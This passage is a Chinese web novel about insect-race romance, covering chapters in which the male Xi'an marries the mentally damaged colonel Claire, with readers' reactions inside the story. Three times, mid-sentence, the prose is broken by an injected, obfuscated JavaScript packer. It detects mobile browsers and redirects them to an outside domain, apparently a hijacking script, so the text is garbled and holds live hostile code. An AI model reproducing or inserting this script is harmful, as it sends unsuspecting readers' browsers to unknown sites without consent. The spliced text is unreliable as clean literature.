《我在虫族监狱写小说》 7. 雄虫新兵x昔日教官4 结、婚、登、记、所?!! 这几个字一出来,评论区彻底炸了。 最初以为高等雄虫阁下要娶一个精神有问题的雌虫当雌侍,就够让雌虫们破防。 现在看到代表着娶雌君的婚姻登记所,更是直接让他们炸开了锅。 [假、假的吧?] [这怎么可能?不可能!或许雄虫阁下来这里是有其他目的呢?] [对!可能是有别的手续要办!] [额……婚姻登记所还办什么除了结婚登记外的别的手续吗?] [其实、其实这里也办理雌侍登记的!只是线上登记更便捷,几乎没有雄虫阁下会为了娶个雌侍专门跑一趟。但总有少数例外,也会有雄虫阁下为了表示郑重和对雌虫的看重,特意带雌虫来登记所办理。] 不管是哪个原因,都让虫很难接受啊! 是选择相信席安阁下要娶克莱尔当雌君? 还是选相信克莱尔是席安很看重的雌侍? 一定要在这两个选项里二选一吗? 雌虫们越看越嫉妒,眼睛红得滴血。 但嫉妒也能说做是……极度的羡慕。 [(打赏量子炮x1)哎呀,手怎么自己动了?这种不合常理的情节我才不喜欢,就是气乐我了。] [怎么说呢,娶克莱尔当雌侍是白日梦幻想片,但一个身份高贵的高等雄虫阁下娶克莱尔一个精神域受损的上校当雌君,我只能说作者已经脑洞大口到无虫能及的地步了!普通的白日梦幻想我不屑一顾,但抽象成这样的我必须要看看!(打赏反物质导弹x1)] [好啊,我倒要看看作者怎么圆回去。(灌溉营养液x20)] [赌一艘“宇宙飞船”,这只是席安阁下计划的一部分,先给克莱尔希望,再狠狠地毁灭他!这才是雄虫折磨雌虫最狠的手段,从灵魂上彻底击垮雌虫!] [说得有道理,那些至今还有着家族传承的高等雄虫都很会玩,跟普通雄虫的身体虐待不一样,他们折磨起虫来更加恐怖,各种方法手段超出普通虫的想象。] 雌虫们自己说服了自己,并越想越觉得这就是真相。 甚至有虫开始怜悯起克莱尔来。 认为克莱尔还沉浸在雄虫阁下构建的美好幻想中,对未来的凄惨命运无知无觉,真是只可怜虫。 而真正的席安阁下梦雌们:“???” 呸呸呸!他都要嫁给雄主了!还可怜什么?! 气得咬牙切齿,心里酸克莱尔酸得不行,但关于席安阁下的文还是要看的。 【漂亮又高贵的红发雄虫,格外引虫瞩目。 他一进来,整个婚姻登记大厅仿佛都明亮,所有灯光都聚集在他身上,光线描摹过他的发丝和脸庞,将他塑造得像是从古典神话传说里走出来的雄虫。 虫族不信神,没有真正意义上神明。 他们的神话传说里的“神”,其实是历史上那些极为强大的虫。 那些突破虫族身体极限、冲破等级桎梏,晋升S级、SS级、SSS级的虫,强大宛若神灵。 等级越高的虫越强大,也越美丽,各方面都无限趋近于完美,甚至超越完美。 这位阁下就像是神话传说里走出来的雄虫王子。 负责招待的虫被雄虫的美貌震慑,看得呆了。 直到雄虫不耐地敲敲桌子,他才恍然回神。 “不好意思阁下,我失礼,请问您是要做结婚登记吗?” “是,请尽快安排。” 席安友好微笑。 他还牵着克莱尔的手。 克莱尔乖乖跟在他身边,让他心情愉悦。 这是他跟克莱尔结婚登记的日子,他心情就更好了,并不在意接待员的一点小失礼。 接待员这才注意到雄虫阁下身侧的雌虫。 高等虫族就没有不好看的,无论是雄虫还是雌虫,亦或亚雌。 跟随这位阁下一起来的雌虫当然也是特别帅气的那一挂。 但以接待员在婚姻所服务各位雄虫和他们的雌君的眼光来看——他的衣着打扮太普通了!状态太过憔悴!连神情都很不自然! 结婚、而且成为雌君,绝对是雌虫一生中最重要的大事。 哪个不是穿上最隆重华贵的礼服,将头发丝都打理得一丝不苟,以最好的状态来迎接这一天?更注重外表些的,甚至还会化上妆。 而他呢?不说换一套正装礼服和好好打理自己了,他眼里甚至还有血丝!一副熬夜颓废好几天的样子。 像是突然被从街上拉过来结婚的,各方面都显得仓促。 这副模样,如果是被登记为雌侍、亦或者私下烙印为雌奴的话,其实并不显得奇怪。 但在这个大都是登记为雌君的婚姻所里,就太突兀了! 尤其是在他身边的雄虫阁下如此光鲜亮丽、尊贵非凡的情况下。 接待员不得不多问了一句: “请问,是做雌侍登记,还是做雌君登记?” 席安闻言凝眉,沉下脸。 他不喜欢这句话。 贬低了克莱尔,也贬低了他。 “你是觉得,我不知道在线上就能做雌侍登记?” 席安冷声问。 “你的提问让我很质疑你的专业性,如果你连这些都做不好,请换一只虫来。” 天大地大,雄虫阁下最大。 惹到雄虫阁下生气了,别管专不专业,立刻换虫。 新换上的雌虫接待员对雄虫露出礼貌的微笑,将两份光屏文件递到他们面前,言简意赅地道: “这是娶雌君的婚姻登记表,请二位进行填写。” 席安正要拿起笔填写,克莱尔猛地拉住他,急切道: “阁下!这不合适!” 一开始,克莱尔也想过,席安会不会是有其他的事要办,又或者就是想在婚姻所进行雌侍登记。 如果是这样,他会很感激席安对他的看重。 但当席安和接待员交流、当他真的拿起笔要填写雌君登记,他骤然慌了神。 席安面上表情沉下来。 原本被接待员那么一说,就已经很影响心情了。 克莱尔的拒绝更让虫不高兴。 “能有什么不合适?” 席安沉着脸问。 要说不合适的地方,那可多了去了。 克莱尔能说出许多来。 家世,身份,年纪,军衔,财富,权势…… “我并不足以匹配您的雌君之位。” 克莱尔轻声道。 如果再多给他一些时间,他或许能达到那个高度,获得向席安求婚的资格。 但他已经没有时间,也没有资格。 “麻烦!” 席安懊恼,低骂了声。 克莱尔低垂下眸,安静,顺从。 他也觉得自己给席安带来了麻烦。 席安有时嘴上不饶虫,但他本质是个心地善良的好虫。 只因为他需要精神梳理,他就决定娶他。 他已经够添麻烦了。 若是再因为这个,把席安的雌君之位都占了去,克莱尔自己都觉得无颜面对他。 接待员也是第一次遇到这种情况,一时不知该怎么办。 居然有这样奇怪的雌雄伴偶。 身份尊贵高等雄虫执意娶雌虫当雌君,雌虫居然还拒绝?! 脑子坏了吗? 现在的情况看起来就像是: 雄虫小少爷爱上落魄雌虫,为爱奋不顾身。 简直比幻想小说还玄幻! 果然在婚姻所待久了,什么样的虫、什么样状况都能遇到! 接待员的职业素养让他想要出声劝说调和,但他的直觉又告诉他,最好在这时候闭嘴。 席安自己平复呼吸,将心情调整过来。 他当然知道克莱尔说的“不匹配”指的是什么。 那些虫族社会所公认的、作为雌君应该拥有的东西。 也是席安最不在意的东西。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679367|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听好了,克莱尔。” 席安面对他,扣住他的手臂,与他错愕抬起的眼睛相对,声音认真而坚定。 “我要娶是你这个活生生的虫,而不是那些死物!” 克莱尔蓦然瞪大眼睛,耳边的所有声音都消失了,脑内的嗡鸣也随之停止,可他什么都感觉不到,就连胸腔中心脏的跳动都变得很远很远。 ……】 评论区难得静默了好一会,旋即爆发更加激烈的讨论。 [嘶……天,我听到了什么?我看到了什么?] [娶的是你这个活生生的虫,而不是那些死物……这、这……世界上为什么会有这么动听的情话?我要被迷晕了。] [更重要的是,这不仅是情话,席安阁下是真要娶他当雌君,将情话变成了事实!] 随口就来的情话谁都能说,真的能将其实现、化作事实,却少之又少。 [克莱尔怎么回事,雄虫阁下跟他说这些,他又没魂了!] [换我在我也会没魂的,天啊,我现在都感觉我整只虫是飘着的,难以想象直接听到席安阁下亲口说的克莱尔会是什么感受。] [我不相信!我不相信!席安阁下真的是雄虫吗?怎么会有这样的雄虫?] [我更好奇作者到底是怎么想出这些情节和对话的?虫族想象不出没见过的东西,作者居然能写出席安阁下这样的雄虫,他的大脑是怎么长的?] [(打赏量子炮x5)完了,我的手又不受我控制了,明明是这么不符合常理的情节,我居然看得这么爽?] [不要相信,不要相信,文字会欺骗你的眼睛和思想。席安阁下一定有他的计划,娶克莱尔当雌君不过是计划的一部分罢了!] [雄虫都是这样的,婚前总会挑着好听的说,婚后就变脸了。] [可总要图点什么吧?克莱尔的军衔、军功、还是他这些年积攒下来的积蓄?那些对于一个首都星出生的高等雄虫来说,根本什么也不是!] [那些你们认为很有价值的东西,在席安阁下眼里同样什么都不是,只是“死物”罢了。] [难道……席安阁下真就是图克莱尔这只虫?总不可能是图他乱糟糟的精神域吧?] 说到这,雌虫读者们也不由开始认真分析起克莱尔来。 [长相帅气,身材好,面容冷肃,带着从战场上下来的戾气,眼里有血丝,有些憔悴,疲惫又凶厉……原来雄虫阁下喜欢这一款?] [感觉就是标准的军雌,可能比一般军雌要帅气点?但高等雌虫的等级摆在那里,丑也不会丑到哪去,应该区别不大。难道是气质上的差别?] [雄主看我!我也是冷肃凶厉的军雌款!我也刚从战场上下来,皮实耐操!] 迷恋雄虫、对雄虫抱有幻想、想从书中学到些知识的雌虫,在这里停下讨论。 讨论的内容越发出格,字里行间仿佛都散发着雌虫发晴的信息素。 而另一些坚信雄虫阁下有自己的计划、一定会在婚后狠狠折磨报复克莱尔的读者,已经急匆匆往后阅读。 他们才不相信雄虫阁下会喜欢克莱尔。 去分析学习这种知识,毫无用处。 【…… 姓名:席安 性别:雄 等级:A+ 家庭成员 雌君:克莱尔 雌君,克莱尔。 看着个虫信息页面更新出来的内容,席安难以抑制住嘴角上翘。 再往下瞥一眼,幼崽那一栏空空荡荡。 席安抬头,看向同样正盯着自己的个虫信息页面出神的克莱尔。 克莱尔注意到他的目光,忙收起光屏。 “阁下……” 该改口了。 席安想。 不过没关系,不急于这一时。 现在更重要的是…… 席安牵起克莱尔的手往外走。 “走,回去睡觉!咳,我是说……回去给你进行精神梳理!” ……】 8. 小说爆火 新章带来的反响远比第一章要大得多。 最开始雌虫们看到简介和首章,想的也只是主角必定会被雄虫报复。 至于身份地位,最多也就雌侍,甚至雄虫可能根本不会娶他。 结果第二章出来,让所有虫都大跌眼镜。 雌君,居然是雌君。 身份尊贵的高等雄虫,娶一个毫无背景的上校为雌君?! 那只雌虫甚至连精神域都是坏的,简称脑子有病,危险性极强。 就算勉强理解成是为了报复虫做的前期投入,这个投入也太大了些。 大到相当于雌虫将全部资产投进去,去赌一个不确定的婚姻。 席安阁下说:我要娶的是你这个活生生的虫,而不是那些死物。 这句话在一夜之间刷爆全网。 成为公认的虫族最美情话。 就连原本不关注小说的虫都刷到了这句话,询问了解之后,慕名前来观瞻。 《教官》一书,陡然爆火。 这些事,安若还不知道。 他正忙着做精神梳理和布置自己的小窝。 他治疗的军雌数量一天比一天多,都是他主动要求增加的。 弄得乌列尔少将现在比他自己还在意他的身体,生怕他出事。 今天更是强制规定他每天最多做三个星时精神梳理,不得超过这个时间。 留足时间给他恢复休息。 精力药剂也是不要钱一样往他这送。 食物也是越来越丰盛。 安若甚至吃到了神似药材的味道。 大概是怕他累虚了,给他安排上了食补。 “……” 这种感觉就很奇怪。 他从星网上了解到,军区监狱的雄虫都是天天灌补品,不过一般是那方面的补品。 同样被安排上补品的安若心情复杂,有一种想说什么又不知道该说什么的憋屈感。 我真不虚!!! 安若脑子里的Q版小人在抱头呐喊。 军雌们当然不会相信。 安若也没法面对乌列尔那双忧虑的眼睛。 算了,反正挺好吃的。 安若选择屈服。 这些天做精神梳理给他积攒了两百多点贡献点。 安若查了一下减刑需要的贡献点,再代入他那999年的刑期一计算,发现那是个天文数字后,他就彻底放飞自我了。 出去肯定是出不去了。 虫族的平均寿命是500年,高等虫族能活更久。像是A级虫族的正常寿命可以达到700~800岁左右,这差不多就是普通虫族寿命的极限。 S级及其以上那种突破极限的变态个例不算在内。 他这个刑期的设置就是让他一辈子待在监狱里的意思。 比无期徒刑还无期。 相当于商品的防拍价。 反正出不去,贡献点不然用来做别的。 兑换一些改善生活的物资。 安若手指一点,用贡献点换了一台眼馋已久的全息舱、一套更舒适的桌椅、几盆摆在桌上装点房间的小花,还有许多他所好奇的虫族水果和零食。 他还在水果中看到了草莓! 虫族居然真有这个,天知道他写的时候只是顺手写的。 写文的时候下笔如有神,所有文字一气呵成。 写完后看着“草莓”这个过于熟悉的字眼,他其实犹豫过要不要删改,但最后还是依照本心保留了下来。 没想到虫族竟然真有这个。 带着一些隐秘的希冀,安若登入星网,查找草莓来源。 这确实是一种从外星系引入的水果,辗转过几个不同的种族和国家,具体起源地早已不可考。 没有地球,没有银河系,没有他所熟知的一切。 看到这个结果,安若不知该遗憾还是该松一口气。 遗憾这只是“小说”世界,他永远回不去也看不到他所熟悉的家园。 庆幸这只是“小说”世界,地球人类没有真的跟凶悍的虫族生活在同一个宇宙。 那也太吓人了。 安若晃晃脑袋,将那过于凶残的画面驱逐出脑海,并祈祷这两个世界永远分割得清晰明白,永远不要相遇。 他感慨了一会,就将这件事抛到脑后,继续布置他的房间。 随后收到了贡献点退回的通知。 安若:“?” 正不解着,乌列尔就带着虫将他选定的东西送了过来。 “安诺阁下,您有什么需要直接跟我们说就行,不用浪费宝贵的贡献点。” 乌列尔向他解释。 安若了然。 雄虫的优待。 这反倒让他有些无所适从。 贡献点兑换和跟虫面对面交流、提出自己想要什么,反倒是前者更让他容易接受。 就像网络购物一样,钱货两清,也没有心理压力。 是让他舒服的交易方式。 而且贡献点他拿着也没什么用处。 乌列尔不知道他的想法,这样做也是对方好意,硬要拒绝就不合适了。 安若将东西收下,说了声“谢谢”。 至于以后怎么办,以后再说吧。 听到雄虫说谢谢,乌列尔忍不住侧目,神情复杂。 雄虫从小就被宠着捧着,对于其他虫的付出和给予也大多是理所当然的态度,更甚者直接就是恩赐的态度。 会道谢的雄虫很少,会为了这么点小事道谢的雄虫更是少之又少。 这样礼貌又懂事的雄虫到底为什么…… 如果不是了解长官的为虫,乌列尔都要怀疑其中有什么阴谋或嫁祸了。 这样想,对身为受害者的尤利西斯元帅太不尊重。 乌列尔深感惭愧地收回思绪,转而对雄虫道: “今天是本月最后一天,根据军区监狱条例,每月的最后一天允许探视和跟其他虫见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679368|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。” 很遗憾,并没有亲朋来探视“安诺”。 在他与尤利西斯元帅的案件判决下来之时,过往与他相识的所有虫就都忙不迭割席了,生怕受到牵连。 但有另一群早早等候、渴望见他一面的虫。 那些接受过他精神梳理的军雌。 “军雌们很感谢您的治疗,他们带来了礼物,想要向您道谢,您要见见他们吗?” 安若想象了下那个场景。 医生和治疗过的患者们见面,背后挂着大大的横幅,患者们感激涕送上礼物和锦旗,与医生握手,最后一起拿着“感谢神医救我虫命”的锦旗合影,闪光灯不断。 只是想想就能尴尬得抠出两室一厅。 社恐选择原地升天,逃离这个星球。 “还是算了,我不爱这种交际,麻烦您帮我回绝。为他们治疗本就是我分内的事,他们的心意我已经收到,别的就不用了。” 就他这个假医生,没闹出医疗事故就已经很庆幸了。 不敢奢求更多。 乌列尔表示明白。 这是个不喜欢热闹的雄虫。 “我让他们回去,礼物收下,给您送来。” 礼物? 安若心中犹豫。 医生能收礼物吗? 乌列尔看出他的犹疑,赶紧道: “这是军雌们的一片心意,还请收下,不然他们会抓心挠肺得觉都睡不着。” 在军区监狱里,军雌送雄虫礼物是非常正常的事情。 雄虫的生活的绝大部分物品都是军雌所赠送。 从身上穿的衣服、吃的食物,到鲜花宝石配饰奢侈品玩具星币……应有尽有。 如果安诺进行精神梳理的地方,不是在他盯着的治疗室,而是在他自己的房间床上,他这里早该堆满各个军雌赠送的礼物。 安若犹豫着点头同意,最后叮嘱: “贵重物品退回去,水果鲜花之类的可以收下。” 水果、鲜花,乌列尔记下。 雄虫先前用贡献点兑换的物品里也有这些,看来他很喜欢这些事物。 真是小清新的喜好。 或者说太简单便宜了。 出乎虫意料。 要知道,雌虫向雄虫示好向来都是很烧钱的。 …… 乌列尔一走,安若立刻扑向全息舱,好奇地这看看、那摸摸。 这可是高高高科技! 军雌们已经帮他把全息舱安装好,就是连说明书都没留下一份。 大概他们也没想到现代社会还有虫不会用全息舱。 安若只能在星网上搜索使用方法,根据这提供给小幼崽的教程,一步步摸索使用。 他躺进全息舱里,好奇地试用各种功能,不断被这星际时代的技术震惊到“哇呜”惊呼。 然后…… 开始用全息舱写小说! 作者的终极梦想——脑电波输入! 9. 雄虫新兵x昔日教官5 “你们看那本书了吗?对,就是那本,教官和雄虫……” 《教官》一书在雌虫中飞速传播开来,雌虫们难掩激动地跟身边虫讨论,自发卖安利。 “首都星高等雄虫阁下娶了个精神极危的军雌上校当雌君。” “身份、财产、权势,这些当雌君最重要的东西,席安阁下都不在意,他说他要娶的是那只活生生的虫,而不是那些死物。” “不是吧?这是什么?给小幼崽看的童话故事吗?” 初听到这些内容的雌虫都觉得离谱困惑。 “童话故事都不会写这么虚幻的事情好吧?童话里嫁给雄虫皇子的灰翅雌虫本身就是大贵族出身。” 虫族幼崽都有传承记忆,一出生就知晓很多事情,给他们构建太虚幻美好的世界反而不合适。 幼崽也会觉得那太假了,充满割裂,无法理解。 于是,连虫族的童话都充满了“现实”。 有虫理智分析: “这样家世普通的军雌上校嫁过去给高等雄虫当雌君,没有足够的手腕和财力,婚后也镇不住其他雌侍,最后被雄虫厌弃、地位不保,也是迟早的事。” 有虫直接表示: “今晚梦这个!” 也有虫仍然坚持: “这只是报复计划的一部分!席安阁下有自己的节奏!!!” 无论怎样,知道《教官》的虫还是越来越多,更多的虫慕名去看。 就连一向对虫族小说不感兴趣的雄虫们都有所听闻。 “听起来像是雌虫做梦写的书。” 初听闻的雄虫不屑一顾。 但也有真正去看过的雄虫激动表示: “真的不一样,这本书里的雄虫是——雄虫!!!” 雄虫是雄虫。 很莫名其妙的一句话。 但只要看过虫族小说的雄虫们就能迅速理解其中的含义。 因为雌虫们写的小说里的雄虫真的……很不雄虫。 甚至都不像虫了。 像是披着雄虫壳子的奇怪生物拟虫。 要么冷酷无情且呆板得像个机械生命体。 要是直接是暴力狂强x犯、变态杀虫狂魔。 还有另一种娇弱智障款,成天哭哭啼啼,什么事都办不好,只会哭着找雌虫,像是脑子发育不完全。 让雄虫根本看不下去,毫无代入感。 雄虫们根本无法理解雌虫的脑回路,就像雌虫写出来的雄虫像是另一个物种一样。 “雄虫也是虫,有自己的情感和喜怒哀乐,不是机器程序!”有雄虫愤怒表示。 “雄虫一辈子见的血都没有军雌在战场上一天见的多,拜托不要打着写雌虫感情文的幌子写血腥恐怖小说!很吓虫!把剥皮拆骨的内容写那么详细,你们才是真正的变态杀手吧?” “娇弱智障已经不想评价了。雄虫精神力普遍高于同等级雌虫,能跨两个等级进行精神梳理,B级雄虫理论上能为S级雌虫进行精神梳理。智障这个结论到底是怎么得出来的?” 小说里雌虫和雄虫的差异大得不像是两个性别,而是两个物种。 而《教官》这本书中的雄虫不一样,他居然真的是雄虫。 他不是模板化的程序或变态杀虫狂,他有自己的喜怒哀乐,甚至有自己的思想和情感。 天呐,虫族的小说里居然能看到雄虫的心理描写! 这是多么不可思议的事。 雌虫哪里能写得出雄虫的想法? 他们认知中的雄虫都已经是另外的物种了。 虽然没对外说出来,但看过这本小说的雄虫心里都认为:写这本书的作者一定是雄虫。 而雌虫的想法则完全不同的想法。 他们坚信这是个白日梦幻想雌虫写的。 写的很虚幻,很假,甚至有些抽象,让虫无法理解,但又不得不承认……很爽。 因为“雄虫是雄虫”这句话,许多雄虫也怀着好奇地心点开了这本书。 小说热度空前高涨,评论区讨论氛围热烈。 与这氛围完全相反的,只有席安爱慕者群。 这里满地悲切,悲戚得仿佛被雄虫厌弃甩了。 〖席安阁下的雌君〗:“为什么?为什么!雄主的雌君栏里为什么写着其他雌虫的名字!哇地一声哭出来(猛雌痛哭)——” 〖席安阁下的正牌雌君〗:“我才是真的呀!雄主,我才是您雌君!克莱尔是假的,假的!” 〖最受席安阁下宠爱的雌侍〗:“嗨?咱就是说,没必要吧?不说这只是小说,就算席安阁下真娶其他雌虫了也很正常啊,雄虫本来就不可能只娶一只雌虫。” 〖席安阁下的雌君〗:“你当然不在意,你的目标就只是当个妖艳贱货雌侍而已,没志气的家伙。” 〖最受席安阁下宠爱的雌侍〗:“???总比你们这些做白日梦认不清自己的强,雄主跟你们说过一句话吗?” 〖雄主你要幸福啊〗:“就别互相嘲笑了,大家都彼此彼此,互相伤害也没意思。” 继续聊下去也没意思。 群里的都是伤心虫,今晚注定是个不眠夜。 只能等明天席安阁下来军部,看着他的身影聊以慰藉。 很快就有消息灵通的军雌收到消息。 ——席安阁下请假了,请的是婚假。 晴天霹雳! 整个第九军团的未婚雌虫都傻了。 “怎么回事?这消息保真吗?怎么突然就婚假了?之前根本没听说任何风声啊!” “保真,我在军团长办公室亲眼看到的,而且席安阁下今天一整天都没来军部。” 天塌了。 彻底塌了。 小说里席安阁下娶克莱尔。 现实里席安阁下请婚假。 军雌嘴角苦涩。 “所以,席安阁下是回首都星结婚了吗?” “总不可能是去跟克莱尔上校结婚,哈哈……” 笑不出来,太苦涩了。 小说和现实双失恋,打击太大。 “不知道席安阁下还打不打算娶雌侍……” 高等雄虫总会娶雌侍,这不是他想问的问题。 问题是名额太少了。 这才是真正的“千军万马过独木桥”。 机会难求。 第九军团的军雌们体验了一波未婚失恋。 夜里辗转难眠之际,收到收藏订阅提醒。 ——《教官》更新了。 【席安征询过克莱尔的意见后,将他带回他在翡翠星的住处。 其实他对克莱尔家也很好奇,想去看看。 但克莱尔神情很不自然地表示他家里正在重新装修,不适合居住。 雌虫的破坏力很强,尤其是精神极危的雌虫。 克莱尔这几天在迷糊中拆了几次家。 他误以为自己还置身于战场,瞬间释放出的翅翼将衣柜切割分解,还毁坏了一面墙。 虫族的维修队几乎每天都要上门,给他补齐家具,修缮房屋。 所有家具都换成了结实耐用的合金材质,但仍挡不住雌虫强大的拆家能力。 克莱尔再次意识到自己有多么危险。 跟席安结婚或许不是一个好主意。 他或许会把席安的家也拆了。 又或者会伤到席安本身。 他应该被戴上抑制器,锁住手脚,关在惩戒室里。 但席安将他带到主卧,他的房间。 “我先请个婚假,以及还有些东西要准备……你先休息会,有什么需要叫机器管家,我很快回来。” 席安捏了捏他的手,有些不舍地离开。 克莱尔只觉得被席安牵过的手烫得厉害。 血液连通心脏,连带着心脏都烫了起来。 席安去准备了…… 是要准备一些东西。 抑制器,锁链,鞭子,刀,肌肉松弛剂,或者某些别的药物…… 对付一个精神极危的雌虫,这些东西很重要。 克莱尔心口的热度冷却了些许,却也悄悄松了口气。 至少这样他就不用担心伤到席安。 其实还是紧张的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679369|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>面对未知的一切,多多少少会有一些不安。 他也不确定自己现在的状态是否承受得住。 很难通过雄虫的外表,判断其在床上的风格。 但以席安过往与他的旧怨,和跟他针锋相对对着干的态度来看,今晚绝对不会好过。 即使如此,克莱尔也没有逃避的想法。 不管落下的是鞭子还是利刃,他都会全然接受。 这本就是他应得的。 克莱尔很快就没精力去想太多。 隐隐绰绰的信息素萦绕在周身。 这里是席安的房间,有席安睡过的枕头、盖过的被子、用过的浴室…… 床被间隐约残留的香甜信息素让克莱尔头晕目眩,身体发热。 心跳加速,不自觉感到紧张。 席安今晚会享用他吗? 克莱尔抿唇,忐忑看向那张床。 席安有着在军区生活留下的习惯,房间收拾得整洁干净,枕头和床单上不见一丝褶皱。 过于整洁了,甚至透着些冷淡风。 但残留的信息素很热情。 很容易让雌虫想到一些带有颜色的东西,根本冷淡不起来,只觉得格外地热。 克莱尔伸手扯开领口,解下一颗扣子。 他想,他或许应该先去洗个澡。 对,他真该好好打理一下自己。 克莱尔回想自己的形象,总觉得各方面都不满意。 如果早知道今天会碰见席安、还会跟对方进行婚姻登记,他绝对不会就这样出门。 若是跟其他雄虫见面,克莱尔认为自己穿得已经足够正式尊重。 但另一方换成席安,就怎么都觉得不够,他能从自己身上挑出一堆毛病。 不够时尚,对雄虫缺乏吸引力。 这是致命的。 还有那个跟他基因匹配的雄虫…… 想起这个,克莱尔就感到头疼。 还有一种近乎慌乱的心虚,像是做贼一样。 他和基因匹配的雄虫有约,席安也和某位雌虫有约。 最后却是他们两个去结婚了。 这都什么事啊…… 忽略因想起席安约了雌虫时心里那一瞬的别扭酸涩。 克莱尔打开终端,打算向那位雄虫阁下解释。 席安作为雄虫,丢下雌虫没关系。 他爽了雄虫的约却是很严重的事,需要一个解释,并且赔礼道歉。 最重要的是,他现在是已婚雌虫。 必须赶快跟对方说清楚,把关系切割得清楚明白,不能让这种事影响他雄主。 他雄主……席安。 这个关系让克莱尔心里泛起一丝甜意。 克莱尔打开聊天页面。 本以为会看到雄虫对他爽约的指责谩骂,结果却什么也没有,反倒是雄虫的信息对他全部可见了。 为保护雄虫的隐私,雄虫的信息不会完全展示给基因匹配的雌虫。 除非……双方看对眼,缔结婚姻。 克莱尔呼吸微滞。 他看到了雄虫显示出来的头像。 拍摄背景是在军区训练室。 雄虫握枪射击的姿势,是他最熟悉不过的样子。 漂亮明艳,美得极具攻击力,就如枪口.射出的子弹,直击靶心,也直击心脏。 席安…… 跟他基因匹配的虫是席安?! 也就是说,席安今天一开始约的虫就是他? 说不出的惊喜与庆幸涌上心口,克莱尔突然想起了那张被他刻意忽略的基因匹配报告。 他赶紧将报告翻出来,看到那上面99.9%的适配度。 这是一个极高的适配度。 几乎是基因都在说他们应该结合、孕育后代。 这个适配度放在陌生雄虫身上,他心中莫名抗拒,不愿面对,也不知所措。 但如果是席安…… 他忍不住想,席安会喜欢幼崽吗? 那种红色头发的、绿色眼睛、像小草莓一样甜蜜可爱的幼崽。 ……】 10. 雄虫新兵x昔日教官6 【席安一进卧室,就看到仅穿着一件睡袍的克莱尔跪在门口。 说实话,刚洗完澡头发微濕的雌虫挺好看的,清清爽爽像冰激凌,但这姿势还是把席安吓了一跳。 “你这是做什么?” 席安忙走过去扶他。 “侍奉您,等候您享用。” 地上的克莱尔道。 按理来说应该什么都不穿跪着。 但这是他们的第一晚,克莱尔不了解席安的喜好,怕贸然这样做反而让席安觉得他孟浪。 于是谨慎地从空间纽里取了件睡袍穿上。 席安悄悄捂了下鼻子。 一本正经地说这么涩的话,也太撩了吧? 但他还是坚持将克莱尔拉起来。 “快起来,我们家没这些规矩,真要等的话,你以后可以直接在床上等着。” 这话听起来像他只想睡雌虫一样。 像是脑子里只有那种事的精虫雄虫。 席安又赶紧补充了句: “沙发上也可以,你想在哪里、做什么都行。” “是。”克莱尔应下,心里想的却是,席安的意思是他可以去这座别墅的任何地方?还是说他将要在所有地方享用他? 不管是哪一个都很好。 克莱尔尊重规则,适应规则,但本质不是传统古板的雌虫,没有什么必须在床上才行的想法。 尤其是对象是席安的时候,哪怕让他直接在地上被享用,他也愿意。 “要喝点饮料吗?”席安问。 “嗯,好。”克莱尔当然不可能拒绝雄虫的提议,哪怕他更想立刻被雄虫吃掉。 席安打开一旁的储藏柜,拿出一瓶颜色鲜红的果酒,倒了一杯,递给克莱尔,就只是看着他喝。 其实在他原本的计划中,他应该和克莱尔一起品着酒,吃着有情调的烛光晚餐,聊着他们的未来和过去。 但克莱尔洗得香香的、身上既清爽干净又濕漉漉、还只穿着睡袍站在他面前,席安发现自己根本忍不了,也等不了这么久。 晚餐一边去吧,反正虫族几天不吃东西也没问题。 克莱尔在雄虫的热切注视下将一整杯酒都喝了下去,喝得太急,其实根本没尝出这酒是什么味道。 但不重要了,因为在他喝完、一滴酒液滑过唇角时,席安就凑过来亲他。 酒精影响不了雌虫,但当轻软温热的触感落在唇上,浅淡的香甜信息素随着雄虫一同探入口中,搜刮走了他的所有理智。克莱尔觉得自己醉了,身体飘飘然,脑子里雾蒙蒙的。 他也终于尝出来了那酒的味道,是草莓酒。 席安将克莱尔推倒在床上,一边继续亲他,一边去解他的睡袍系带,信息素不再收敛地释放而出。 然而当高浓度的香甜信息素充斥整个房间时,克莱尔身体骤然紧绷,猛地咬破了舌尖,同时抬腿踹向身上的雄虫。 要不是席安身手敏捷反应迅速,还真要挨上这一脚。 席安转头看向克莱尔,气氛有些许凝滞。 他看得出克莱尔那一脚没用多少力气,不至于踢断他肋骨,但至少会让他摔下床。 被雄虫信息素弄软了的雌虫,还能在床上踢雄虫,这本身就很不合理! 这更何况这代表着明确的拒绝。 席安很生气。 “你踢我?你不想被我碰!?” 第一次被虫这样拒绝,那只虫还是克莱尔,席安恼羞成怒,咬牙切齿,几乎想要用牙齿撕了他。 是的,克莱尔确实只是为了精神梳理才跟他结婚。 但他们已经结婚了! 是合法婚姻配偶。 